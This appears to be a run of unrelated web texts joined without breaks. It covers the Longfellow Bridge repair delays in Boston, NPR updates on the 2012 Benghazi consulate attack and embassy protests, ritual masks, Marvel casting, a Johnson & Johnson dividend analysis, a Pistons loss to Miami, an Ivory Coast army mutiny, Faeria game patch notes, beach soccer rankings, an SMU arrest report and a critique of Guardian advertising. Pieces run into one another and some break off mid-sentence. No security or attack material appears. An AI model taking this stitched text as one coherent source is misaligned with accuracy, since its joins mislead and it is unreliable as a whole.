Workers in 2013 began the project to strengthen and upgrade the steel-and-granite structure, but retain its historical integrity. Currently, only one Boston-bound lane is open on the bridge, which fouls traffic in the bustling sections of Cambridge’s Kendall Square and Boston’s Beacon Hill. When complete, the bridge will have two vehicle lanes into Boston, one into Cambridge, and a bike lane going each direction.
The delay could eventually increase the initial $255 million cost estimate to rebuild the span, but MassDOT has yet to estimate any cost overruns. If the costs do rise, officials say they could ask the contractor, JF White-Skanska-Consigli, to foot the bill.
Advertisement
The agency has also set aside about $48 million in other costs not included in the bid price. That includes $25.54 million in contingency costs, $7.5 million in police costs, and $15 million in incentives, such as rewarding the contractor for meeting project deadlines.
According to MassDOT, workers have had to deal with such historical quirks as lead-filled sand within the foundations of the towers and misaligned arches that have shifted over time.
Dennis Banzan, the vice mayor of Cambridge, and state Representatives Timothy J. Toomey Jr. and Jay D. Livingstone learned more about the new timeline during a tour this week. Toomey, a Democrat who also serves as a Cambridge city councilor, and Livingstone, a Boston Democrat, sent a request for a progress update to the MassDOT highway administrator in late March.
Toomey said he is frustrated by the delays, but acknowledged the project needs to be done the right way.
David L. Ryan/Globe Staff/File Crews worked on one of the bridge’s salt-and-pepper shaker towers” in March 2014.
Livingstone also expressed disappointment. “It’s certainly an inconvenience for the drivers going from Boston to Cambridge, but it’s something that people have adjusted to the best that they can,” he said.
Advertisement
One of the conditions of the contract was that workers would ensure that the bridge, which was built in the early 1900s, would retain its historical character.
‘MassDOT is now working with the contractor to speed up the process to safely repair the historic bridge.’ Michael Verseckes, Massachusetts Department of Transportation spokesman
Charles Sullivan, the executive director of the Cambridge Historical Commission, said he was not surprised by delays. “It’s a very, very complicated process and project that involves a lot of technology that is not current in the building trades today,” Sullivan said.
For example, the bridge was constructed using rivets, a technique that was eventually replaced by bolting and welding. The laborious process includes heating the rivets to 2,000 degrees, then jamming them into a hole before they cool.
MassDOT began the task of removing and rebuilding the towers in 2014. Each 58-foot tower has 515 granite stones of various sizes and weighing up to 3 tons each.
State officials say they will work to get the project completed sooner than December 2018. They also note the project could have taken even longer, but MassDOT and the contractor worked to reduce the timeline. Additional work that will continue until August 2019 will not affect traffic.
The state last completed a major rehabilitation project on the bridge in 1959. According to MassDOT, inspections in 2007 and 2008 confirmed that the bridge had “significant deterioration.” The state completed a number of interim repairs to help increase its life span before commissioning the current project.
Nicole Dungca can be reached at [email protected]. Follow her on Twitter @ndungcaLibya Says Four In Custody In Connection To Consulate Attack
Hide caption Yemeni protesters try to break through the U.S. Embassy in Sana'a during a protest over a film mocking Islam on Thursday. Yemeni forces managed to drive out angry protesters who stormed the embassy in the Yemeni capital with police firing warning shots to disperse thousands of people as they approached the main gate of the mission. Previous Next Mohammed Huwais/AFP/Getty Images
Hide caption A mob in Yemen attacks the U.S. Embassy during a protest against a film they say insults the Prophet Muhammad, in the capital, Sanaa, on Thursday. Previous Next Yahya Arhab/EPA/Landov
Hide caption Protesters climb a fence at the embassy as security guards fire warning shots into the air. Previous Next Mohamed al-Sayaghi/Reuters/Landov
Hide caption A protester throws a tear-gas canister toward riot police outside the U.S. Embassy in Cairo on Thursday. Dozens were injured in clashes, according to state TV. Previous Next Nasser Nasser/AP
Hide caption A protester sets a tire on fire during clashes with police in front of the U.S. Embassy in Cairo. Previous Next Mohammed Abu Zaid/AP
Hide caption Demonstrators condemn the killing of Christopher Stevens, the U.S. ambassador to Libya, and the attack on the U.S. consulate, in Benghazi on Wednesday. Previous Next Esam Omran Al-Fetori/Reuters/Landov 1 of 6 i View slideshow
Update 8:21 ET. Two Slain Americans Identified:
Two of the security personnel who were killed Tuesday along with Ambassador Chris Stevens and Information Management Officer Sean Smith have been identified. They are Tyrone S. Woods and Glen A. Doherty, both security personnel who died helping protect their colleagues. Both men were former Navy SEALs, according to a statement from U.S. Secretary of State Hillary Clinton.
Here's more from the statement:
"Tyrone's friends and colleagues called him 'Rone,' and they relied on his courage and skill, honed over two decades as a Navy SEAL. In uniform, he served multiple tours in Iraq and Afghanistan. Since 2010, he protected American diplomatic personnel in dangerous posts from Central America to the Middle East. He had the hands of a healer as well as the arm of a warrior, earning distinction as a registered nurse and certified paramedic. All our hearts go out to Tyrone's wife Dorothy and his three sons, Tyrone Jr., Hunter, and Kai, who was born just a few months ago. "We also grieve for Glen Doherty, called Bub, and his family: his father Bernard, his mother Barbara, his brother Gregory, and his sister Kathleen. Glen was also a former Navy SEAL and an experienced paramedic. And he put his life on the line many times, protecting Americans in Iraq, Afghanistan, and other hotspots. In the end, he died the way he lived – with selfless honor and unstinting valor."
Update 2:25 ET. Four In Custody:
NPR's Dina Temple-Raston says Libyan officials have informed the U.S. that four people are in custody in connection with the attack on the American consulate in Benghazi that killed Ambassador Chris Stevens and three other embassy staffers on Tuesday.
But U.S. officials have yet to interview the detainees, described as "militants" or to verify their involvement in the attack. She says it is also unclear whether those arrested are Libyans or foreigners.
Here's our earlier post:
Violence sparked by an anti-Islam film and video clip has spread from Libya and Egypt to Yemen today, with protesters in the capital Sanaa storming the U.S. Embassy compound.
Chanting "death to America," the Yemeni protesters broke through a security forces cordon and marched toward the embassy. The protesters reportedly got through the main gate but not into the embassy building itself.
Meanwhile, clashes continued near the U.S. embassy in Egypt, and a U.S. Marine anti-terrorist team has been dispatched to secure U.S. diplomatic facilities in Libya, where an attack earlier this week took the life of Ambassador Chris Stevens.
In Sanaa, protesters removed the embassy's sign on the outer wall and set tires ablaze, The Associated Press reports. Once inside the compound, they brought down the U.S. flag and burned it, the news agency says.
Iona Craig, a reporter from The Times of London who was outside the embassy in Yemen, told NPR that it initially appeared that security forces allowed the hundreds of protesters to break the cordon.
Once protesters got about 60 meters beyond the cordon, security forces fired warning shots with AK-47s and machine guns. "Then everybody ran in panic," she said.
Witnesses say security forces have since restored calm at the embassy. Yemeni news agencies report that U.S. embassy staff had already been evacuated by the time violence broke out.
The anti-Islam film The Innocence of Muslims, produced in the United States and seen mostly via a trailer posted on YouTube, is the proximate cause of the unrest.
On Thursday, Secretary of State Hillary Clinton said the United States government had nothing to do with the "disgusting and reprehensible" film, which she called a cynical attempt to "denigrate a great religion and to provoke rage." However, Clinton emphasized that the U.S. would never stop Americans from expressing their views.
Authorities in Afghanistan have gone so far as to shutdown access to YouTube "indefinitely" to keep Afghans from seeing the film they say insults the Prophet Muhammad, according to NPR's Soraya Sarhadi Nelson in Kabul. Authorities hope blocking the website will help prevent outbreaks of the violence. But she says the Internet provider has yet to receive official notification of the request to block the website and that it is still accessible.
NPR's Leila Fadel, reporting from Cairo, says protesters there seemed to be less concerned about the film and more intent on provoking police, who were seen as a tool of oppression under the past autocratic regime of President Hosni Mubarak.
She says armored vehicles and riot police tried to disperse a crowd of a few hundred young men at the U.S. embassy compound there. Protesters were forced back into nearby Tahrir square and side streets by police using tear gas to disperse the crowd, Fadel says.
NPR's Tom Bowman reports that more than 50 U.S. Marines have arrived in Tripoli to take up security duties at the American embassy, which has been reduced to emergency staffing levels after the consulate in Benghazi was attacked by armed assailants, killing the ambassador and three other diplomatic staff.
He says diplomatic posts around the world have been asked to review security procedures.
A senior administration official says there was a recent security review for the American consulate in preparation for the anniversary of the Sept. 11, 2001, terrorist attacks, according to Bowman. But the official told reporters there was no indication of a heightened threat that would call for more security personnel.
UPDATE at 12:50 ET:
Attorney General Eric Holder, speaking today in Qatar, says the FBI has opened an investigation into the deaths of the ambassador and the three other embassy personnel in Benghazi.
In Egypt, NPR's Fadel reports that the political wing of the Muslim Brotherhood says "peaceful demonstration" against the film is the duty of all Egyptians - both Muslim and Christian. The party called on protesters to contain their anger.Throughout the world masks are used for their expressive power as a feature of masked performance – both ritually and in various theater traditions. Masks are a familiar and vivid element in many folk and traditional pageants, ceremonies, rituals and festivals, and are often of an ancient origin.
The mask is normally a part of a costume that adorns the whole body and embodies a tradition important to the religious and/or social life of the community as whole or a particular group within the community. Masks are used almost universally and maintain their power and mystery both for their wearers and their audience.The continued popularity of wearing masks at carnival, and for children at parties and for festivals such as Halloween are good examples. Nowadays these are usually mass-produced plastic masks, often associated with popular films, TV programmers or cartoon characters – they are, however, reminders of the enduring power of pretense and play and the power and appeal of masks.
In this blog, I will present you with 10 Ritual masks collected throughout the world. The function of this kind of masks may be magical or religious; they may appear in rites of passage or as a make-up for a form of theater. Equally masks may disguise a penitent or preside over important ceremonies; they may help mediate with spirits, or offer a protective role to the society who utilize their powers. Those masks are mostly used in Africa, Oceania, North America, Latin America,India, China, Korea, Japan.
Resource : wiki,Advertisements
After Crossbones’ sudden death in Captain America: Civil War, fans were left a little disappointed that the character would not be seen in future installments. However, we’ve been receiving some hints from Frank Grillo that the character could return. This has now been confirmed by Discussing Film.
Discussing Film revealed that Frank Grillo will return as Brock Rumlow in Avengers 4. This doesn’t come as much of a surprise considering Grillo has a multi picture contract with Marvel, and he has stated previously that he wants to appear as the character again. Robert Downey Jr. also posted a picture on Instagram with Grillo leading many to believe he was on set of Avengers 4.
It is unclear what role Crossbones will play in the movie. My best guess is that he will appear in a flashback or alternate timeline scene. We’ve been getting hints of a scene like this from some recent set photos. Hopefully he returns with that badass suit from Captain America: Civil War.
Source – Discussing Film
– Caleb Sadd
Avengers 4 releases in theaters on May 3, 2019See 470+ Stocks Ranked in the Sure Analysis Database
Updated by Nate Parsh on February 5th, 2019
Johnson & Johnson (JNJ) is a company that many investors are likely familiar with. J&J has been in operation for more than 130 years, and has raised its dividend for 56 years in a row. This makes J&J a long-standing member of the Dividend Aristocrats list.
Not only is J&J a Dividend Aristocrat, it is a Dividend King as well. The Dividend Kings are an even more exclusive group of stocks, with 50+ years of consecutive dividend increases.
J&J has all of the qualities of a great dividend growth stock. It has a dividend yield above the S&P 500 average, backed by a strong brand and highly profitable business model, with potential for long-term growth.
This article will discuss the quintessential Dividend Aristocrat that is J&J.
Business Overview
J&J is a global healthcare giant. It has a market capitalization of $360 billion, and generates annual revenue of more than $81 billion.
Today, J&J operates in more than 60 countries and employs 134,000 people. It is a massive company, with more than 250 subsidiary companies.
In all, it manufactures and sells health care products through three main segments:
Pharmaceuticals (50% of sales)
Medical Devices (33% of sales)
Consumer Health Products (17% of sales)
It has a diversified business model, with strong brands across its three core operating segments.
Source: Earnings Presentation
J&J is one of the largest companies in the world, but it started from very humble beginnings. It was founded all the way back in 1886 by three brothers, Robert, James, and Edward Johnson. The company was incorporated the following year.
In 1888, the three brothers published a healthcare manuscript titled “Modern Methods of Antiseptic Wound Treatment”, which would quickly become the leading standard for antiseptic surgery techniques.
The same year, the three brothers began selling first aid kits, which also became the standard-bearer at the time.
Over the following decades, the company steadily brought new products to market. Soon, the company was the leading manufacturer across several healthcare categories, including baby powder, sanitary napkins, dental floss, and more.
In many cases, the Johnson brothers created products that were the first of their kind. J&J is still a leading manufacturer of consumer healthcare products.
The consumer franchise is broken up into six broad categories. Its most popular consumer brands include Band-Aid, Tylenol, Listerine, Johnson’s, and Neutrogena. Johnson’s, Neutrogena, and Listerine each generate more than $1 billion in annual sales. The consumer products business is highly profitable, and is a source of stability for J&J.
Not all the recent news related to J&J has been positive. On December 14th, Reuters released research stating that the company knew its baby powder could be contaminated with asbestos. After examining documents, the report stated that the company discussed ways to address the issue between 1971 and the early 2000s.
J&J has strongly denied this report, but the company has more than 12,000 product liability lawsuits related to its baby powder. The stock declined 10% the day of the Reuters report.
On December 19th, a Missouri circuit court judge dismissed a motion by the company to reverse its $4.7 billion jury award to plaintiffs claiming that its talc products caused their ovarian cancer. An appeal by J&J is likely to occur.
Growth Prospects
J&J’s pharmaceutical segment is its strongest area of growth. This segment has recently generated much higher growth rates than medical devices or consumer products.
For example, J&J had adjusted earnings-per-share of $8.18 in 2018, which represented 12.1% growth from the previous year. Organic revenue increased 5.5% for 2018. The pharmaceutical segment led the way, growing revenue 12.4% for the year. Revenue for medical devices and consumer products grew by just 1.5% and 1.8%, respectively.
Source: Earnings Presentation
Within the pharmaceutical segment, two of the company’s best-performing areas continue to be oncology and immunology. Oncology sales rose by nearly 25% in constant currency last year, while the immunology segment grew by 9.7% in 2018.
In oncology, Darzalek experienced revenue growth of 63% on a year-over-year basis. Darzalek treats multiple myeloma. International sales more than doubled for this drug during 2018. Imbruvica, which treats certain types of lymphoma, grew revenues by more than 38%. J&J shares royalties with Imbruvica with fellow Dividend Aristocrat AbbVie (ABBV).
Stelara, which treats immune-mediated inflammatory diseases, had worldwide revenue growth of 29% during the year. Revenues for Simponia / Simpona Aria, which treats rheumatoid arthritis, increased 13.7% in 2018, with 17.5% growth in international markets.
J&J’s pharmaceutical pipeline is a positive growth catalyst. The company has a robust pipeline of new products.
Source: Earnings Presentation
By 2021, J&J expects to file at least 10 new products, each with annual sales potential of $1 billion or more.
It also sees the potential for 40 line extensions to existing products by then. Of these 40 extensions, 10 have potential for more than $500 million in annual revenue.
J&J is no stranger to acquisitions, big or small. In 2016, the company completed 14 acquisitions or licensing deals. Moving forward, the $30 billion acquisition of Actelion is the most important individual acquisition.
Actelion is a standalone R&D company, and will help J&J continue its long history of innovation. Actelion’s R&D focuses on rare conditions with significant unmet need, such as pulmonary arterial hypertension. Actelion’s key products Uptravi and Opsumit had revenue growth of 40% and 17%, respectively, in 2018. Both products treat high blood pressure.
The deal was immediately accretive to adjusted earnings. Management forecasts a 1% annual revenue bump from the acquisition, with earnings growth of 2%-3% thanks to cost synergies.
Competitive Advantages & Recession Performance
J&J’s most important competitive advantage is innovation, which has fueled its amazing growth over the past 130 years.
J&J’s strong cash flow allows it to spend heavily on research and development. R&D is critical for a health care company, because it provides product innovation. J&J’s R&D spending over the past few years is as follows:
2014 research-and-development expense of $8.5 billion
2015 research-and-development expense of $9.0 billion
2016 research-and-development expense of $9.1 billion
2017 research-and-development expense of $10.6 billion
2017 research-and-development expense of $11 billion
R&D is also necessary to stay ahead of the dreaded “patent cliff”. Patent expirations can cause blockbuster drugs to deteriorate rapidly, once a flood of competition enters the market.
J&J’s aggressive R&D investments have resulted in product innovation and a robust pharmaceutical pipeline, which will help produce growth for years to come.
And, J&J’s excellent balance sheet provides a competitive advantage. J&J ended last quarter with $19.7 billion in cash and marketable securities. It is one of only two U.S. companies with a ‘AAA’ credit rating from Standard & Poor’s, along with Microsoft (MSFT).
J&J’s brand leadership and consistent profitability allowed the company to navigate the Great Recession very well. Earnings-per-share during the Great Recession are below:
2007 earnings-per-share of $4.15
2008 earnings-per-share of $4.57 (10% increase)
2009 earnings-per-share of $4.63 (1% increase)
2010 earnings-per-share of $4.76 (3% increase)
As you can see, the company increased earnings in each year of the recession. This helped it continue raising its dividend each year, even though the U.S. was going through a steep economic downturn.
Investors can be reasonably confident that the company will increase its dividend each year moving forward. The following video further illustrates J&J’s tremendous dividend safety:
Valuation & Expected Returns
J&J stock has sold off recently due to allegations that the company knew that its baby powder contained asbestos. While the stock has recovered somewhat in 2019, shares are still well off their 52-week high.
J&J expects the midpoint of earnings-per-share for 2019 to be $8.58. Using the current share price of $133, the stock’s forward price-to-earnings ratio is 15.5. This is slightly below the stock’s 10-year average price-to-earnings ratio of 15.8.
A breakdown of J&J’s historical price-to-earnings ratios can be seen in the table below:
If shares were to revert to their average price-to-earnings ratio by 2024, investors would see an additional 0.4% added to annual returns over this time period.
J&J’s earnings increased by approximately 6% each year, over the past 10 years. We expect the company to match this level of earnings growth over the next five years.
The following is our forecast for expected total annual returns through 2024.
6% earnings-per-share growth
0.4% multiple expansion
2.7% dividend yield
We expect that J&J can offer investors a total annual return of 9.1% per year over the next five years.
Final Thoughts
J&J has more than 50 years of consecutive dividend increases under its belt. There are very few certainties in the stock market, but one of them is that J&J will increase its dividend each year.
The company has plenty of future growth, thanks to a strong pipeline and its recent acquisitions.
The one blemish on J&J is the headline risk, regarding the possibility of asbestos in the company’s baby powder. That said, the company remains a high-quality hold for dividend growth.Image copyright Getty Images
Veteran broadcaster David Dimbleby is to present Question Time with a Labour leadership special.
Contenders Jeremy Corbyn and Owen Smith will go head to head before a live studio audience on 8 September.
The debate from Oldham, shown at 21:00 BST on BBC One, marks the start of a new series of the weekly debate show.
Dimbleby, 77, has hosted Question Time since 1994 as well as anchoring the BBC's general election programmes since 1979.
He said: "It's good news that the two contenders for the Labour leadership have agreed to appear in front of a Question Time audience. As we saw in the EU referendum debates, and the general election debates, there's nothing like a Question Time audience for discovering and testing different political views."
The result of Labour's leadership contest will be announced on 24 September.MIAMI – Apparently it’s going to take a little more than a four-day respite and Stan Van Gundy’s bullet-point manifesto distributed among Pistons players to rectify their defensive deficiencies.
The Pistons dropped their second straight game and allowed another opponent to blow past 100 points in the process. Miami scored more than 25 points in every quarter, hit half of its shots from the 3-point line and pulled away in the fourth quarter to win 116-103.
Yeah, it was an issue that the Pistons were limited to 12 fourth-quarter points. Stan Van Gundy mused afterward that perhaps teams have figured something out about defending the staple of their late-game attack, Reggie Jackson’s pick-and-roll smorgasbord.
But they’re not going to win nearly enough games to pull out of the hole their 21-26 record has dug if they’re going to continue to allow 116 points.
“There was not a good enough effort defensively, plain and simple,” Jon Leuer said. “I look at myself in the mirror and I didn’t do a good enough job. Got beat a couple of times. But defense is always about five guys being tied on a string and we have to do a better job of that. It’s on us as players to correct that and have much better effort defensively.”
Miami shot 53 percent for the game, but was over 60 percent for the first 33 minutes and well above 50 percent from the 3-point arc until going just 3 of 10 in the fourth quarter.
“We gave up 116 points and they killed us,” Van Gundy said. “The game was 10 more threes for them and 11 more free throws made. That’s the ballgame. We had trouble playing guys off the dribble, which created some threes. But they hit a lot of contested ones, too.”
The Pistons matched Miami – hottest team in the East, carrying a six-game winning streak into the game – for all of three quarters, scoring 33, 27 and 31 to take a 91-90 lead into the fourth. Andre Drummond (17 points, 20 boards) was dominant, again winning his matchup with Hassan Whiteside cleanly, and if Kentavious Caldwell-Pope (2 of 11 shooting) hadn’t still shown signs of rust after returning earlier in the week following a nearly two-week absence with a shoulder injury, the Pistons might well have survived their leaky defense.
But there was no denial or wallowing in “what ifs” in their locker room. All around, they understood their defense must improve – quickly and markedly.
“Very disappointing,” said Jackson, who scored 24 points and hit 10 of 17 shots. “That’s been our Achilles. We’ve gotten better at finding a way to get the ball moving and finding a way to score, but defensively we still haven’t figured it out.”
“It’s our calling card. We’ve got to be good defensively,” Ish Smith said. “We have to be. I don’t want to take anything away from them. They’re playing some great basketball – not just good, some great basketball. But defensively, that has to be our calling card.”
The Pistons took Tuesday off after playing the East’s busiest schedule to that point, regrouped for individual workouts on Wednesday and then got back into their practice routine Thursday and Friday. Van Gundy passed out sheets with points of emphasis, heavy on defense, and signs were encouraging in practices with a greater focus on communication and fundamentals. But if there were any signs of a turnaround launched Saturday night, they were well disguised.
“We’re able to get stops and run, that’s what we are. That’s what we do,” Smith said. “It’s a little bit surprising tonight because Coach harped on it and defensively we were really, really good in those practices.”
Smith’s bench unit endured its second straight tough outing. After allowing Sacramento 52 points off its bench in the previous game, the Pistons saw Miami’s bench combine for 46 points. Wayne Ellington scored 19, James Johnson 18.
“I take it upon myself that when we come in on the second team, I want to take our team to another level,” Smith said. “When we come in, our plus/minus has to be really, really good. We never got our team that push.”
The game turned in the fourth quarter after Jon Leuer’s layup with 8:05 left pulled the Pistons within a point. The Pistons went scoreless for three minutes spanning five possessions. That constituted the greatest scoring drought for either side all night. A team capable of stringing stops together would’ve been able to withstand such a dry spell, but not the Pistons – not now, not the way they’ve been wobbled defensively for the past six weeks as they’ve gone from the No. 2 defense in the league to near the bottom.
“I don’t think our offense is the problem,” Leuer said. “It’s a matter of us – collectively, each guy individually – looking at himself in the mirror. I put responsibility on myself to be better because I wasn’t good enough tonight.”Disgruntled Soldiers In Ivory Coast Mutiny Over Back Pay Issues
This is the latest eruption of violence by former rebels, now integrated in the army, who helped propel Ivorian President Alassane Ouattara to power in 2011, after disputed elections and a civil war.
DAVID GREENE, HOST:
And let's go to West Africa now and Ivory Coast. A mutiny by soldiers there has entered its fourth day. The soldiers are demanding bonuses and back pay. There's been heavy gunfire again today in the West African nation's two largest cities. Here's NPR's Ofeibea Quist-Arcton.
OFEIBEA QUIST-ARCTON, BYLINE: The city of Abidjan awoke to the echo of gunfire at a military camp and the main business district and could be heard near the U.S. embassy and the presidential residence. Shooting was also reported in Bouake, erstwhile headquarters of the rebellion in Ivory Coast. This is the latest eruption of violence by former rebels now integrated in the army who helped propel Ivorian President Alassane Ouattara to power in 2011 after disputed elections and a civil war. The troubles date back to January, when thousands of disgruntled soldiers mutinied, protesting that promised bonuses and back pay had not been delivered. President Ouattara agreed to pay up.
But a surprise televised announcement Thursday night by a spokesman for the mutineers apologizing and saying they dropped demands for bonus payments has prompted more protests. Flexing their muscles, the mutineers want immediate payment of all outstanding bonuses, directly challenging the president and the military chief. If the mutineers can't be placated, Ivory Coast, once a prosperous and stable oasis in turbulent West Africa, again risks descending into violence.
Ofeibea Quist-Arcton, NPR News, Lagos.
(SOUNDBITE OF YPPAH'S "NEVER MESS WITH SUNDAY")
Copyright © 2017 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.Over two months ago, we released a look at The Road Ahead and our development plans on the path out of Early Access. On the 24th of August, Version 0.8 was released, and Faeria went "Free-to-Play."
Today, Version 0.9 is here.
Many aspects of this update reflect changes you have been asking for.
This is the last major release before version 1.0, which will coincide with the exit of Steam Early Access for Faeria.
Let’s get right into what we’ve been working on and are eager to share with you.
Faeria Early Access Version 0.9
The Core Set is no longer available in the Store
We’ve introduced our reasoning behind this a few weeks ago, and have since released a FAQ going into more detail on the many questions players had about this major change. Please read these articles if you haven’t already for why we had to make this difficult decision. Thank you for your understanding.
New Social Features
Spectating Friends
When we introduced the ability to spectate private lobbies several months ago, we mentioned we’d be expanding this feature in the future. The future is now.
You may now simply select anyone in your friends list who is playing a game and be able to jump right in to spectating them. Of course, we’ve also provided an option on your social menu to disable this if you prefer your battles to be more private.
During competitive tournaments, this feature will be automatically disabled when playing games through tournament lobbies.
Emotes are now available in-game
One of our most requested features, you will now be able to communicate to your opponents as well - in emote form!
Note that this is the first iteration of the emote system, and we plan on expanding it in the future.
How do they work?
Every player, by default, receives the base set of 5 standard emotes. When you go to your profile screen you will see the list of these:
In addition to this default set of emotes, you will be able to purchase special emote sets from the shop! Emotes will be tied to a character, and you must be using their relevant avatar in order to use their emotes. Initially, emotes will only be available as part of a Set (see below about Sets). Aurora, Seifer, and Sharra Sets will be available in this update - and we plan on adding more in the future. Eventually, emotes will be available for purchase individually.
You can use your emotes by clicking on your orb during a game.
Want your opponents to remain quiet? No problem. There’s an option in the settings menu to mute all emotes.
Solo Content Improvements
15 new Puzzles from Jalmyr
One of the most overwhelmingly popular aspects of our new Solo content has been Jalmyr’s selection of mind-bending Puzzles. Who are we to say no? Have some more!
For those of you who have completed 100% of the Single Player experience so far, one lane will re-open for you to complete these new puzzles. For new players, or those of you currently working through the Single Player mode, new puzzles will simply be shuffled in to appear as you progress.
Ability to replay completed Solo content
This is something we knew we needed to implement as soon as possible, based on your feedback. Now you’ll be able to replay some of your favorite puzzles and quests, for fun! (However, rewards will not be given for replaying Single Player games.)
Shop and Item improvements
Booster Packs have been replaced by Battle Chests.
Battle Chests are much like Booster Packs, with the exception of two key differences
1) You’ll have the unique ability to reroll the card of the highest rarity.
2) There is now a chance that Mythic cards may be found within
Gold Fountain Adjusted
We are lowering the amount of Gold given by the Gold Fountain, to fit better with the value of our other in-game economic changes. It will now give 500 Gold on purchase, plus 40 Gold every day for 30 days - to give you a total of 1700 Gold. This still represents fantastic value, and you’ll be able to buy plenty with it in our improved shop!
Due to this change, all players with an active Gold Fountain at the time of this update will receive the total amount of Gold still owed by that Fountain, immediately now, at the old rate - so for example if you have 10 days left for your Gold Fountain, you will receive 10x |
committee.
“Iran is a great example for all the countries in the world. They have not only built one of the strongest National Teams in the world, but also developed a powerful national league with different divisions and great stadiums. They have supported and projected women’s beach soccer, and also introduced different youth categories. I really want to highlight this excellent job”, he said.
Iran men’s national beach soccer team has maintained its place as the best team in Asia and the sixth spot in the world in the latest edition of the Beach Soccer Worldwide (BSWW) rankings.
According to the rankings released by the BSWW, the organization responsible for the founding and growth of the association football derivative sport of beach soccer, the Iranian side accumulated 1,006 points to be named Asia’s best team.
Oman claimed the 8th slot in the global rankings and the second place in Asia with 648 points. The Omanis were followed by the Japanese and Lebanese, who occupied the ninth and 19th spots respectively with 622 and 383 points.
Portugal is the top-ranked beach soccer team in the world with 3,445 points. Russia earned 2,080 points to land in the second position. Third-place Tahitians collected 1,764 points. Italy stood fourth with 1,500 points.John David Mahaffey, 19, was arrested on charges he sexually assaulted another male student on the campus of Southern Methodist University.
A fourth-generation Southern Methodist University student was arrested on charges he sexually assaulted another male student on campus late Saturday night.
John David Mahaffey, 19, a sophomore finance major, has been suspended from his fraternity and banned from campus while the investigation continues.
According to police, the alleged victim said he was attacked twice – once in a campus parking garage and again near the Sigma Phi Epsilon fraternity, where Mahaffey is a member.
SMU administrators issued a campus crime alert after the alleged attacks.
Mahaffey, of Springfield, Missouri, is a Hunt scholar, a student senator, a scholarship committee chairman, and an officer on SMU's Inter-fraternity council, according to the university website.
According to an article last year in SMU's student newspaper, the Daily Campus, his great-great grandfather was a member of SMU's founding committee and one of its first professors and his grandmother, father and two aunts also were students.
SMU released a short statement, confirming the arrest, and saying Mahaffey is “temporarily banned from campus pending further investigation."
The local fraternity says it's suspended Mahaffey and is cooperating with police.
"This alleged behavior is not tolerated and not consistent with the fraternity's mission,” fraternity president Luke Friedman said in a written statement. “This is a disturbing situation and the chapter's thoughts and concerns go out to everyone affected."
Friedman declined further comment.
Debbie Denmon, a spokeswoman for the Dallas County District Attorney’s office, said late Thursday that SMU police had not yet filed the case with prosecutors.“Truly independent”?: The Guardian and advertising
by Ian Sinclair
Morning Star
3 March 2015
The Guardian’s public profile is shrouded in the journalism equivalent of American Exceptionalism. And nowhere is this delusional belief stronger than among Guardian journalists themselves.
“The Guardian is truly independent”, explains Jonathan Freedland, the Executive Editor for Opinion at the newspaper. “Protected by the Scott Trust…we have no corporate owner telling us what to think… we are free to pursue the facts”. Guardian columnist Owen Jones may disagree with Freedland on many issues but on this topic they sing from the same hymn sheet. “The paper is unique for being owned by a trust rather than a media mogul… I have never been prevented from writing what I think”, the Labour Leftist recently assured readers.
The problem with this self-serving argument is there are obviously more influences on the editorial content of a newspaper than just its ownership structure. For example, Edward Herman and Noam Chomsky’s Propaganda Model of the media highlights five filters that produce the elite-friendly reporting that dominates the Western press – ownership, advertising, the sources used by journalists, the flak media organisations can receive and the dominant ideology of the period.
Resigning last month as the Telegraph’s Chief Political Commentator, Peter Oborne exposed how the interests of corporate advertisers had influenced the newspaper’s news agenda, limiting embarrassing stories about HSBC. Oborne’s principled analysis chimes with the thoughts of the BBC’s Andrew Marr, himself a former editor of the Independent newspaper: “The biggest question is whether advertising limits and reshapes the news agenda. It does, of course. It’s hard to make the sums add up when you are kicking the people who write the cheques.”
For broadsheet newspapers, the sums are pretty telling, with advertising accounting for around 75% of their income.
Challenged by media watchdog Media Lens about the thickness of the ‘Chinese Wall’ between advertising and editorial at the Guardian, the paper’s most radical columnist George Monbiot retorted “If you have an example of the Guardian spiking a story on behalf of its advertisers, please send me a link.”
The Telegraph soon obliged, reporting how the headline of a 2014 Guardian article about Iraq had been altered to fit with the wishes of Apple, who had stipulated their advertising should not be placed next to negative news. “If editorial staff knew what was happening here they would be horrified”, the Telegraph quoted a “Guardian insider” as saying. Guardian columnist and former editor of the Times newspaper Simon Jenkins made a similar point in his response to the Oborne furore. Writing about the increasing influence of advertising on the layout and content of newspapers, he noted “Even the Guardian cannot be regarded as immune from such pressures”.
Despite this evidence, the focus on overt censorship is something of a red herring. First, because public arguments between advertisers and newspapers are extremely rare. The secretive relationship between the two has been well polished over decades of publishing. It’s rarely in the interest of either party that the partnership be exposed to the light of public scrutiny. And second, because the influence of advertising is far broader, subtler and therefore more insidious than the dramatic spiking of a single story.
James Twitchell, author of Adcult USA, explains the extent of the collaboration: “You name it: the appearance of ads throughout the pages, the ‘jump’ or continuation of a story from page to page, the rise of sectionalisation (as with news, cartoons, sports, financial, living, real estate), common page size, halftone images, process engraving, the use of black-and-white photography, then colour, sweepstakes, and finally discounted subscriptions were all forced on publishers by advertisers hoping to find target audiences.”
Just as fish probably don’t see the water they swim in, Guardian journalists seem unable to comprehend the journalism habitat they work in has been shaped by corporate advertisers.
But shaped it certainly has been. Since the renewed expansion of the Guardian’s US online presence in 2011 the centre of gravity of the newspaper’s online coverage and recruitment focus has shifted across the Atlantic. This shift was driven by commercial interests. According to Andrew Miller, the CEO of the Guardian Media Group, the move to the US was centred on a strategy to “increase the commercial opportunity of our readership”. Or as he put it later in the same interview: to “monetize the readership.” Two years later the Guardian’s website went global changing its domain to http://www.theguardian.com. Tanya Cordrey, the Chief Digital Officer at Guardian News and Media, explained why: “This will open up more worldwide commercial possibilities for us in markets across the globe, enabling us to offer our partners and advertisers increased access to our growing global audience.”
In early 2014 the Guardian signed a “seven-figure” deal with mega-corporation Unilever. The partnership established Guardian Labs, a “branded content and innovation agency” with 133 staff “which offers brands bold and compelling new ways to tell their stories and engage with influential Guardian audiences.” We certainly aren’t in Kansas anymore.
The Guardian regularly publishes sponsored content in the main part of the newspaper including a roundtable on sustainable diets funded by Tesco and a seminar on public health reform sponsored by Pfizer.
